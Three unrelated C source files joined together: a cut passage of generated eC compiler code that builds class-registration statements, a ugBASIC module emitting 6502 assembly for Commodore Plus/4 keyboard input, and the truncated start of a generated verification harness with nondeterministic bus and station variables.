*)&param->__anon1.memberType, memberTypeString + strlen(memberTypeString), (((void *)0)), &needClass) : (const char * )1; })); ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpIdentifier(MkIdentifier(memberTypeString)))); break; } } if(param->defaultArgument) { struct __ecereNameSpace__ecere__sys__OldList * members = MkList(); switch(param->type) { case 0: { char * typeString = param->defaultArgument->__anon1.templateDatatype ? StringFromSpecDecl(param->defaultArgument->__anon1.templateDatatype->specifiers, param->defaultArgument->__anon1.templateDatatype->decl) : (((void *)0)); char * string = QMkString(typeString); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*members), MkMemberInit(MkListOne(MkIdentifier("dataTypeString")), MkInitializerAssignment(MkExpString(string)))); (__ecereNameSpace__ecere__com__eSystem_Delete(typeString), typeString = 0); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); break; } case 1: { char memberString[1024]; char * string; memberString[0] = '\0'; if(param->defaultArgument->__anon1.identifier->_class) { if(param->defaultArgument->__anon1.identifier->_class->type == 8) strcpy(memberString, param->defaultArgument->__anon1.identifier->_class->__anon1.templateParameter->identifier->string); else if(param->defaultArgument->__anon1.identifier->_class->__anon1.__anon1.name) strcpy(memberString, param->defaultArgument->__anon1.identifier->_class->__anon1.__anon1.name); } if(memberString[0]) strcat(memberString, "::"); strcat(memberString, param->defaultArgument->__anon1.identifier->string); string = QMkString(memberString); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*members), MkMemberInit(MkListOne(MkIdentifier("dataTypeString")), MkInitializerAssignment(MkExpString(string)))); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); break; } case 2: { struct Operand op = { 0, 0, 0, .__anon1 = { .c = 0 }, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 } }; struct __ecereNameSpace__ecere__sys__OldList * ids = MkList(); char * ui64String; char * string = (((void *)0)); op = GetOperand(param->defaultArgument->__anon1.expression); ui64String = PrintUInt64(op.__anon1.ui64); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*ids), MkIdentifier("expression")); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*ids), MkIdentifier("ui64")); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*members), MkMemberInit(ids, MkInitializerAssignment(MkExpConstant(ui64String)))); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); (__ecereNameSpace__ecere__com__eSystem_Delete(ui64String), ui64String = 0); break; } } ListAdd(args, MkExpInstance(MkInstantiation(MkSpecifierName("ClassTemplateArgument"), (((void *)0)), MkListOne(MkMembersInitList(members))))); } else ListAdd(args, MkExpIdentifier(MkIdentifier("null"))); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddTemplateParameter")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_DoneAddingTemplateParameters")), MkListOne(MkExpIdentifier(MkIdentifier("class")))))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } if(definitions != (((void *)0))) { for(def = definitions->first; def; def = def->next) { if(def->type == 4 && def->__anon1.propertyWatch) { ListAdd(registerModuleBody->__anon1.compound.statements, (struct Statement *)def->__anon1.propertyWatch); def->__anon1.propertyWatch = (((void *)0)); } else if(def->type == 5) { { char * s = QMkString(def->__anon1.designer); stmt = MkIfStmt(MkListOne(MkExpIdentifier(MkIdentifier("class"))), MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("class")), MkIdentifier("designerClass")), '=', MkExpString(s)))), (((void *)0))); (__ecereNameSpace__ecere__com__eSystem_Delete(s), s = 0); } ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } else if(def->type == 6) { stmt = MkIfStmt(MkListOne(MkExpIdentifier(MkIdentifier("class"))), MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("class")), MkIdentifier("noExpansion")), '=', MkExpConstant("1")))), (((void *)0))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } else if(def->type == 7) { stmt = MkIfStmt(MkListOne(MkExpIdentifier(MkIdentifier("class"))), MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("class")), MkIdentifier("fixed")), '=', MkExpConstant("1")))), (((void *)0))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); if(regClass) regClass->fixed = 1; } else if(def->type == 8) { char * s = QMkString(def->__anon1.defaultProperty->string); stmt = MkIfStmt(MkListOne(MkExpIdentifier(MkIdentifier("class"))), MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("class")), MkIdentifier("defaultProperty")), '=', MkExpString(s)))), (((void *)0))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); (__ecereNameSpace__ecere__com__eSystem_Delete(s), s = 0); } else if(def->type == 11) { (__extension__ ({ struct __ecereNameSpace__ecere__com__IteratorPointer * (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, uint64 value); __internal_VirtualMethod = ((struct __ecereNameSpace__ecere__com__IteratorPointer * (*)(struct __ecereNameSpace__ecere__com__Instance *, uint64 value))__extension__ ({ struct __ecereNameSpace__ecere__com__Instance * __internal_ClassInst = classPropValues; __internal_ClassInst ? __internal_ClassInst->_vTbl : __ecereClass___ecereNameSpace__ecere__com__List->_vTbl; })[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Add]); __internal_VirtualMethod ? __internal_VirtualMethod(classPropValues, (uint64)(uintptr_t)(__extension__ ({ struct __ecereNameSpace__ecere__com__Instance * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_ClassPropertyValue); ((struct ClassPropertyValue *)(((char *)__ecereInstance1 + __ecereClass_ClassPropertyValue->offset)))->regClass = regClass, ((struct ClassPropertyValue *)(((char *)__ecereInstance1 + __ecereClass_ClassPropertyValue->offset)))->staticClass = (declMode == 3), ((struct ClassPropertyValue *)(((char *)__ecereInstance1 + __ecereClass_ClassPropertyValue->offset)))->id = def->__anon1.__anon1.id, ((struct ClassPropertyValue *)(((char *)__ecereInstance1 + __ecereClass_ClassPropertyValue->offset)))->exp = def->__anon1.__anon1.initializer->__anon1.exp, __ecereInstance1; }))) : (struct __ecereNameSpace__ecere__com__IteratorPointer *)1; })); def->__anon1.__anon1.id = (((void *)0)); def->__anon1.__anon1.initializer->__anon1.exp = (((void *)0)); } } } } } } void ProcessClassDefinitions() { struct External * external, * next; CreateRegisterModuleBody(); if(ast) { for(external = (*ast).first; external; external = next) { next = external->next; curExternal = external; if(external->type == 2) { struct ClassDefinition * _class = external->__anon1._class; if(_class->definitions) { ProcessClass(0, _class->definitions, _class->symbol, _class->baseSpecs, (((void *)0)), ast, external, _class->declMode); } if(inCompiler) { __ecereMethod___ecereNameSpace__ecere__sys__OldList_Remove((&*ast), external); FreeExternal(external); } } else if(external->type == 0) { unsigned int setStaticMethod = 0; if(external->symbol && !external->symbol->type->__anon1.__anon2.thisClass && !external->symbol->type->__anon1.__anon2.staticMethod) { external->symbol->type->__anon1.__anon2.staticMethod = 1; setStaticMethod = 1; } if(inCompiler) { struct FunctionDefinition * function = external->__anon1.function; struct Statement * stmt; struct __ecereNameSpace__ecere__sys__OldList * args; if(!strcmp(function->declarator->symbol->string, "__on_register_module")) { ListAdd(registerModuleBody->__anon1.compound.statements, function->body); function->body->__anon1.compound.context->parent = registerModuleBody->__anon1.compound.context; __ecereMethod___ecereNameSpace__ecere__sys__OldList_Remove((&*ast), external); function->body = (((void *)0)); FreeExternal(external); continue; } if(function->declMode != 2 && function->declMode != 1) continue; args = MkList(); CreateRegisterModuleBody(); { char * string = QMkString(function->declarator->symbol->string); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string; char type[1024] = ""; if(setStaticMethod) function->declarator->symbol->type->__anon1.__anon2.staticMethod = 0; PrintType(function->declarator->symbol->type, type, 1, 1); if(setStaticMethod) function->declarator->symbol->type->__anon1.__anon2.staticMethod = 1; string = QMkString(type); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { ListAdd(args, MkExpIdentifier(MkIdentifier(function->declarator->symbol->string))); } ListAdd(args, MkExpIdentifier(MkIdentifier("module"))); switch(function->declMode) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier(buildingECERECOMModule ? "baseSystemAccess" : "publicAccess"))); break; } stmt = MkExpressionStmt(MkListOne(MkExpCall((MkExpIdentifier(MkIdentifier("eSystem_RegisterFunction"))), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } else if(external->type == 1) { struct Declaration * declaration = external->__anon1.declaration; if(external->symbol) { if(external->symbol->type && external->symbol->type->kind == 11 && !external->symbol->type->__anon1.__anon2.thisClass) external->symbol->type->__anon1.__anon2.staticMethod = 1; } if(external->symbol && declaration && declaration->type == 1) { if(declaration->__anon1.__anon1.specifiers) { struct Specifier * specifier; unsigned int removeExternal = 0; for(specifier = (*declaration->__anon1.__anon1.specifiers).first; specifier; specifier = specifier->next) { if((specifier->type == 2 || specifier->type == 3 || specifier->type == 4) && specifier->__anon1.__anon2.id && specifier->__anon1.__anon2.id->string && (declaration->declMode || specifier->__anon1.__anon2.baseSpecs || (specifier->type == 2 && specifier->__anon1.__anon2.definitions))) { struct Symbol * symbol = FindClass(specifier->__anon1.__anon2.id->string); if(symbol) { int classType; if(specifier->type == 2) classType = 4; else classType = 1; removeExternal = 1; symbol->ctx = specifier->__anon1.__anon2.ctx; specifier->__anon1.__anon2.ctx = (((void *)0)); ProcessClass(classType, specifier->__anon1.__anon2.definitions, symbol, specifier->__anon1.__anon2.baseSpecs, specifier->__anon1.__anon2.list, ast, external, declaration->declMode); } } } if(inCompiler && removeExternal) { __ecereMethod___ecereNameSpace__ecere__sys__OldList_Remove((&*ast), external); FreeExternal(external); } } } else if(declaration && declaration->type == 3) { if(inCompiler && declaration->declMode != 3) { struct Statement * stmt; struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); CreateRegisterModuleBody(); { char * string = QMkString(declaration->__anon1.__anon2.id->string); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string; char type[1024] = ""; PrintExpression(declaration->__anon1.__anon2.exp, type); string = QMkString(type); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } ListAdd(args, MkExpIdentifier(MkIdentifier("module"))); switch(declaration->declMode) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier(buildingECERECOMModule ? "baseSystemAccess" : "publicAccess"))); break; } stmt = MkExpressionStmt(MkListOne(MkExpCall((MkExpIdentifier(MkIdentifier("eSystem_RegisterDefine"))), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } } } { struct __ecereNameSpace__ecere__com__Iterator v = { (classPropValues), 0 }; while(__ecereMethod___ecereNameSpace__ecere__com__Iterator_Next(&v)) { struct __ecereNameSpace__ecere__sys__OldList * findClassArgs = MkList(); struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); struct Statement * compoundStmt; char * s; struct Expression * e; if(__extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->exp) yylloc = __extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->exp->loc; ListAdd(findClassArgs, MkExpIdentifier(MkIdentifier("module"))); { char nameSpace[1024] = ""; char className[1024] = ""; struct __ecereNameSpace__ecere__com__Class * regClass = __extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->regClass; GetNameSpaceString(regClass->nameSpace, nameSpace); if(__extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->staticClass) { __ecereNameSpace__ecere__sys__GetLastDirectory(sourceFile, className); __ecereNameSpace__ecere__sys__ChangeCh(className, '.', '_'); strcat(className, "}"); } strcat(className, nameSpace); strcat(className, regClass->name); s = QMkString(className); } ListAdd(findClassArgs, MkExpString(s)); (__ecereNameSpace__ecere__com__eSystem_Delete(s), s = 0); ListAdd(args, MkExpIdentifier(MkIdentifier("_class"))); s = QMkString(__extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->id->string); ListAdd(args, MkExpString(s)); (__ecereNameSpace__ecere__com__eSystem_Delete(s), s = 0); e = __extension__ ({ char * __ecTemp1 = (char *)(((struct __ecereNameSpace__ecere__com__Instance *)(uintptr_t)__ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(&v))); ((struct ClassPropertyValue *)(__ecTemp1 + __ecereClass_ClassPropertyValue->offset)); })->exp; ProcessExpressionType(e); if(__ecereProp_Type_Get_isPointerType(e->expType)) e = MkExpCast(MkTypeName(MkListOne(MkSpecifierName("intptr")), (((void *)0))), e); ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(INT64)), (((void *)0))), e)); compoundStmt = MkCompoundStmt(MkListOne(MkDeclaration(MkListOne(MkSpecifierName("ecere::com::Class")), MkListOne(MkInitDeclarator(MkDeclaratorIdentifier(MkIdentifier("_class")), MkInitializerAssignment(MkExpCall(MkExpIdentifier(MkIdentifier("ecere::com::eSystem_FindClass")), findClassArgs)))))), MkListOne(MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("ecere::com::eClass_SetProperty")), args))))); compoundStmt->__anon1.compound.context = __extension__ ({ struct Context * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Context); __ecereInstance1->parent = registerModuleBody->__anon1.compound.context, __ecereInstance1; }); ListAdd(registerModuleBody->__anon1.compound.statements, compoundStmt); } } (__extension__ ({ void (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *); __internal_VirtualMethod = ((void (*)(struct __ecereNameSpace__ecere__com__Instance *))__extension__ ({ struct __ecereNameSpace__ecere__com__Instance * __internal_ClassInst = classPropValues; __internal_ClassInst ? __internal_ClassInst->_vTbl : __ecereClass___ecereNameSpace__ecere__com__List->_vTbl; })[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Free]); __internal_VirtualMethod ? __internal_VirtualMethod(classPropValues) : (void)1; })); } } void __ecereRegisterModule_pass1(struct __ecereNameSpace__ecere__com__Instance * module) { struct __ecereNameSpace__ecere__com__Class __attribute__((unused)) * class; __ecereNameSpace__ecere__com__eSystem_RegisterFunction("SetBuildingEcereCom", "void SetBuildingEcereCom(bool b)", SetBuildingEcereCom, module, 1); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("GetBuildingEcereCom", "bool GetBuildingEcereCom(void)", GetBuildingEcereCom, module, 1); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("SetBuildingEcereComModule", "void SetBuildingEcereComModule(bool b)", SetBuildingEcereComModule, module, 1); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("GetBuildingEcereComModule", "bool GetBuildingEcereComModule(void)", GetBuildingEcereComModule, module, 1); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("ProcessClassFunction", "External ProcessClassFunction(ecere::com::Class owningClass, ClassFunction func, ecere::sys::OldList defs, External after, bool makeStatic)", ProcessClassFunction, module, 2); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("CreateRegisterModuleBody", "void CreateRegisterModuleBody(void)", CreateRegisterModuleBody, module, 2); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("RegisterMembersAndProperties", "void RegisterMembersAndProperties(ecere::com::Class regClass, bool isMember, const char * className, Statement statement)", RegisterMembersAndProperties, module, 2); __ecereNameSpace__ecere__com__eSystem_RegisterFunction("GetNameSpaceString", "void GetNameSpaceString(ecere::com::NameSpace ns, char * string)", GetNameSpaceString, module, 2); class = __ecereNameSpace__ecere__com__eSystem_RegisterClass(0, "ClassPropertyValue", 0, sizeof(struct ClassPropertyValue), 0, (void *)0, (void *)__ecereDestructor_ClassPropertyValue, module, 2, 1); if(((struct __ecereNameSpace__ecere__com__Module *)(((char *)module + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->application == ((struct __ecereNameSpace__ecere__com__Module *)(((char *)__thisModule + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->application && class) __ecereClass_ClassPropertyValue = class; __ecereNameSpace__ecere__com__eSystem_RegisterFunction("ProcessClassDefinitions", "void ProcessClassDefinitions(void)", ProcessClassDefinitions, module, 1); }
the_stack_data/140765738.c
/***************************************************************************** * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ***************************************************************************** * Copyright 2021-2022 Marco Spedaletti ([email protected]) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *---------------------------------------------------------------------------- * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 * (la "Licenza"); è proibito usare questo file se non in conformità alla * Licenza. Una copia della Licenza è disponibile all'indirizzo: * * http://www.apache.org/licenses/LICENSE-2.0 * * Se non richiesto dalla legislazione vigente o concordato per iscritto, * il software distribuito nei termini della Licenza è distribuito * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o * implicite. Consultare la Licenza per il testo specifico che regola le * autorizzazioni e le limitazioni previste dalla medesima. ****************************************************************************/ /**************************************************************************** * INCLUDE SECTION ****************************************************************************/ #ifdef __plus4__ #include "../ugbc.h" /**************************************************************************** * CODE SECTION ****************************************************************************/ void plus4_xpen( Environment * _environment, char * _destination ) { } void plus4_ypen( Environment * _environment, char * _destination ) { MAKE_LABEL } void plus4_inkey( Environment * _environment, char * _pressed, char * _key ) { MAKE_LABEL // Keyboard buffer lies between 1319-1328 memory area ($0527-$0530), and the index // assigned for its length is 239 ($EF), but you can change the overall length of the buffer // changing the value 10 ($0A) in 1343 ($053F). outline0("LDA #$0"); outline1("STA %s", _pressed ); outline0("LDA #$0"); outline1("STA %s", _key ); outline0("LDX $ef"); outline0("CPX #$0"); outline1("BEQ %snokey", label ); outline0("LDA $0527" ); outline0("CMP #$FF"); outline1("BEQ %snopetscii", label ); outline1("STA %s", _key ); outline0("LDA #$FF"); outline1("STA %s", _pressed ); outline0("LDX #0"); outhead1("%sclkeys:", label); outline0("LDA $0528,X" ); outline0("LDA $0527,X" ); outline0("INX"); outline0("CPX $ef"); outline1("BNE %sclkeys", label); outline0("DEC $ef"); outline1("JMP %snokey", label ); outhead1("%snopetscii:", label ); outline0("LDA #0"); outline1("STA %s", _key ); outhead1("%snokey:", label ); } void plus4_scancode( Environment * _environment, char * _pressed, char * _scancode ) { MAKE_LABEL // The KERNAL ROM contains four tables used by the system to convert keyboard codes into PETSCII character codes: // Each table contains 65 bytes; one PETSCII code for each of the 64 keys assigned a keyboard code, plus a // 255/$FF which will be returned for the keyboard code of 64/$40 (indicating no key pressed). // 60289–60353/$EB81–$EBC1: PETSCII codes for keys pressed without simultaneously using Shift, Commodore or Ctrl keys. // In this table, the entries for those three keys are 1, 2 and 4; values which get "sorted out" by the keyboard scan // routines in ROM and thus never "show up" in the adresses 203 and 197. // 60354–60418/$EBC2–$EC02: PETSCII codes for keys pressed simultaneously with a Shift or the Shift Lock keys. // 60419–60483/$EC03–$EC43: PETSCII codes for keys pressed simultaneously with the Commodore logo key. // 60536–60600/$EC78–$ECB8: PETSCII codes for keys pressed simultaneously with the Ctrl key. // This table has several bytes with 255/$FF, indicating no character; if you press Ctrl along with e.g. Inst/Del, // the 64 behaves as if nothing was typed at all. outline0("LDA #$0"); outline1("STA %s", _pressed ); outline0("LDA #$0"); outline1("STA %s", _scancode ); outline0("LDX $ef"); outline0("CPX #$0"); outline1("BEQ %snokey", label ); outline0("LDY $0527"); outline0("CPY #0"); outline1("BEQ %snokey", label ); outline0("DEC $ef"); outline1("STY %s", _scancode ); outline0("LDA #$ff"); outline1("STA %s", _pressed ); outhead1("%snokey:", label ); } void plus4_scanshift( Environment * _environment, char * _shifts ) { // 653 // Shift key indicator. Bits: // Bit #0: 1 = One or more of left Shift, right Shift or Shift Lock is currently being pressed or locked. // Bit #1: 1 = Commodore is currently being pressed. // Bit #2: 1 = Control is currently being pressed. // NO SHIFT (0) - if no SHIFT key pressed; // LEFT SHIFT (1) - if the left SHIFT pressed; // RIGHT SHIFT (2) - if the right SHIFT pressed; // BOTH SHIFTS (3) - if both keys pressed. MAKE_LABEL outline0("LDA #0"); outline1("STA %s", _shifts); outline0("LDA $0543"); outline0("AND #$01"); outline1("BEQ %se", label); outline0("LDA #$03"); outline1("STA %s", _shifts); outhead1("%se:", label); } void plus4_keyshift( Environment * _environment, char * _shifts ) { // On the same way, KEY SHIFT is used to report the current status of those keys // which cannot be detected by either INKEY$ or SCANCODE because they do not // carry the relevant codes. These control keys cannot be tested individually, or a test // can be set up for any combination of such keys pressed together. A single call to the KEY SHIFT // function can test for all eventualities, by examining a bit map in the following format: MAKE_LABEL outline0("LDA #0"); outline1("STA %s", _shifts); outline0("LDA $0543"); outline0("AND #$01"); outline1("BEQ %snoshift", label); outline0("LDA #3"); outline1("STA %s", _shifts); outhead1("%snoshift:", label ); outline0("LDA $0543"); outline0("AND #$04"); outline1("BEQ %snoctrl", label); outline1("LDA %s", _shifts); outline0("ORA #8"); outline1("STA %s", _shifts); outhead1("%snoctrl:", label ); } void plus4_clear_key( Environment * _environment ) { outline0("LDA #$0"); outline0("STA $ef"); } #endif
the_stack_data/242330293.c
extern float __VERIFIER_nondet_float(void); extern int __VERIFIER_nondet_int(void); typedef enum {false, true} bool; bool __VERIFIER_nondet_bool(void) { return __VERIFIER_nondet_int() != 0; } int main() { bool s22_l0, _x_s22_l0; float _diverge_delta, _x__diverge_delta; bool s22_l1, _x_s22_l1; bool s10_evt0, _x_s10_evt0; float delta, _x_delta; float s22_lambda, _x_s22_lambda; float s22_x, _x_s22_x; bool s10_evt1, _x_s10_evt1; bool s10_evt2, _x_s10_evt2; bool bus_l1, _x_bus_l1; bool bus_l0, _x_bus_l0; float s22_backoff, _x_s22_backoff; float bus_x, _x_bus_x; bool s22_evt0, _x_s22_evt0; bool s22_evt1, _x_s22_evt1; bool s22_evt2, _x_s22_evt2; int bus_j, _x_bus_j; bool s11_l0, _x_s11_l0; bool s11_l1, _x_s11_l1; float s11_lambda, _x_s11_lambda; float s11_x, _x_s11_x; bool bus_evt1, _x_bus_evt1; bool bus_evt0, _x_bus_evt0; bool bus_evt2, _x_bus_evt2; float s11_backoff, _x_s11_backoff; bool s23_l0, _x_s23_l0; bool s23_l1, _x_s23_l1; bool s11_evt0, _x_s11_evt0; float s23_lambda, _x_s23_lambda; float s23_x, _x_s23_x; bool s11_evt1, _x_s11_evt1; bool s11_evt2, _x_s11_evt2; float s23_backoff, _x_s23_backoff; bool s0_l0, _x_s0_l0; bool s0_l1, _x_s0_l1; float s0_lambda, _x_s0_lambda; float s0_x, _x_s0_x; bool s23_evt0, _x_s23_evt0; bool s23_evt1, _x_s23_evt1; bool s23_evt2, _x_s23_evt2; float s0_backoff, _x_s0_backoff; bool s12_l0, _x_s12_l0; bool s12_l1, _x_s12_l1; bool s0_evt0, _x_s0_evt0; float s12_lambda, _x_s12_lambda; float s12_x, _x_s12_x; bool s0_evt1, _x_s0_evt1; bool s0_evt2, _x_s0_evt2; float s12_backoff, _x_s12_backoff; bool s24_l0, _x_s24_l0; bool s24_l1, _x_s24_l1; bool s12_evt0, _x_s12_evt0; float s24_lambda, _x_s24_lambda; float s24_x, _x_s24_x; bool s12_evt1, _x_s12_evt1; bool s12_evt2, _x_s12_evt2; float s24_backoff, _x_s24_backoff; bool s1_l0, _x_s1_l0; bool s1_l1, _x_s1_l1; float s1_lambda, _x_s1_lambda; float s1_x, _x_s1_x; bool s24_evt0, _x_s24_evt0; bool s24_evt1, _x_s24_evt1; bool s24_evt2, _x_s24_evt2; float s1_backoff, _x_s1_backoff; bool s13_l0, _x_s13_l0; bool s13_l1, _x_s13_l1; bool s1_evt0, _x_s1_evt0; bool s1_evt1, _x_s1_evt1; float s13_lambda, _x_s13_lambda; float s13_x, _x_s13_x; bool s1_evt2, _x_s1_evt2; float s13_backoff, _x_s13_backoff; bool _J5349, _x__J5349; bool s13_evt0, _x_s13_evt0; bool _J5343, _x__J5343; bool s13_evt1, _x_s13_evt1; bool _J5336, _x__J5336; bool s13_evt2, _x_s13_evt2; bool _J5330, _x__J5330; bool _J5325, _x__J5325; bool _J5319, _x__J5319; bool s2_l0, _x_s2_l0; bool _EL_U_5282, _x__EL_U_5282; bool s2_l1, _x_s2_l1; float s2_lambda, _x_s2_lambda; float s2_x, _x_s2_x; bool _EL_U_5284, _x__EL_U_5284; bool _EL_U_5286, _x__EL_U_5286; float s2_backoff, _x_s2_backoff; bool _EL_U_5288, _x__EL_U_5288; bool _EL_U_5290, _x__EL_U_5290; bool s14_l0, _x_s14_l0; bool _EL_U_5292, _x__EL_U_5292; bool s14_l1, _x_s14_l1; bool s2_evt0, _x_s2_evt0; float s14_lambda, _x_s14_lambda; float s14_x, _x_s14_x; bool s2_evt1, _x_s2_evt1; bool s2_evt2, _x_s2_evt2; float s14_backoff, _x_s14_backoff; bool s14_evt0, _x_s14_evt0; bool s14_evt1, _x_s14_evt1; bool s14_evt2, _x_s14_evt2; int bus_cd_id, _x_bus_cd_id; bool s3_l0, _x_s3_l0; bool s3_l1, _x_s3_l1; float s3_lambda, _x_s3_lambda; float s3_x, _x_s3_x; float s3_backoff, _x_s3_backoff; bool s15_l0, _x_s15_l0; bool s15_l1, _x_s15_l1; bool s3_evt0, _x_s3_evt0; float s15_lambda, _x_s15_lambda; float s15_x, _x_s15_x; bool s3_evt1, _x_s3_evt1; bool s3_evt2, _x_s3_evt2; float s15_backoff, _x_s15_backoff; bool s15_evt0, _x_s15_evt0; bool s15_evt1, _x_s15_evt1; bool s15_evt2, _x_s15_evt2; bool s4_l0, _x_s4_l0; bool s4_l1, _x_s4_l1; float s4_lambda, _x_s4_lambda; float s4_x, _x_s4_x; float s4_backoff, _x_s4_backoff; bool s16_l0, _x_s16_l0; bool s16_l1, _x_s16_l1; bool s4_evt0, _x_s4_evt0; float s16_lambda, _x_s16_lambda; float s16_x, _x_s16_x; bool s4_evt1, _x_s4_evt1; bool s4_evt2, _x_s4_evt2; float s16_backoff, _x_s16_backoff; bool s16_evt0, _x_s16_evt0; bool s16_evt1, _x_s16_evt1; bool s16_evt2, _x_s16_evt2; bool s5_l0, _x_s5_l0; bool s5_l1, _x_s5_l1; float s5_lambda, _x_s5_lambda; float s5_x, _x_s5_x; float s5_backoff, _x_s5_backoff; bool s17_l0, _x_s17_l0; bool s17_l1, _x_s17_l1; bool s5_evt0, _x_s5_evt0; float s17_lambda, _x_s17_lambda; float s17_x, _x_s17_x; bool s5_evt1, _x_s5_evt1; bool s5_evt2, _x_s5_evt2; float s17_backoff, _x_s17_backoff; bool s17_evt0, _x_s17_evt0; bool s17_evt1, _x_s17_evt1; bool s17_evt2, _x_s17_evt2; bool s6_l0, _x_s6_l0; bool s6_l1, _x_s6_l1; float s6_lambda, _x_s6_lambda; float s6_x, _x_s6_x; float s6_backoff, _x_s6_backoff; bool s18_l0, _x_s18_l0; bool s18_l1, _x_s18_l1; bool s6_evt0, _x_s6_evt0; float s18_lambda, _x_s18_lambda; float s18_x, _x_s18_x; bool s6_evt1, _x_s6_evt1; bool s6_evt2, _x_s6_evt2; float s18_backoff, _x_s18_backoff; bool s18_evt0, _x_s18_evt0; bool s18_evt1, _x_s18_evt1; bool s18_evt2, _x_s18_evt2; bool s7_l0, _x_s7_l0; bool s7_l1, _x_s7_l1; float s7_lambda, _x_s7_lambda; float s7_x, _x_s7_x; float s7_backoff, _x_s7_backoff; bool s19_l0, _x_s19_l0; bool s19_l1, _x_s19_l1; bool s7_evt0, _x_s7_evt0; float s19_lambda, _x_s19_lambda; float s19_x, _x_s19_x; bool s7_evt1, 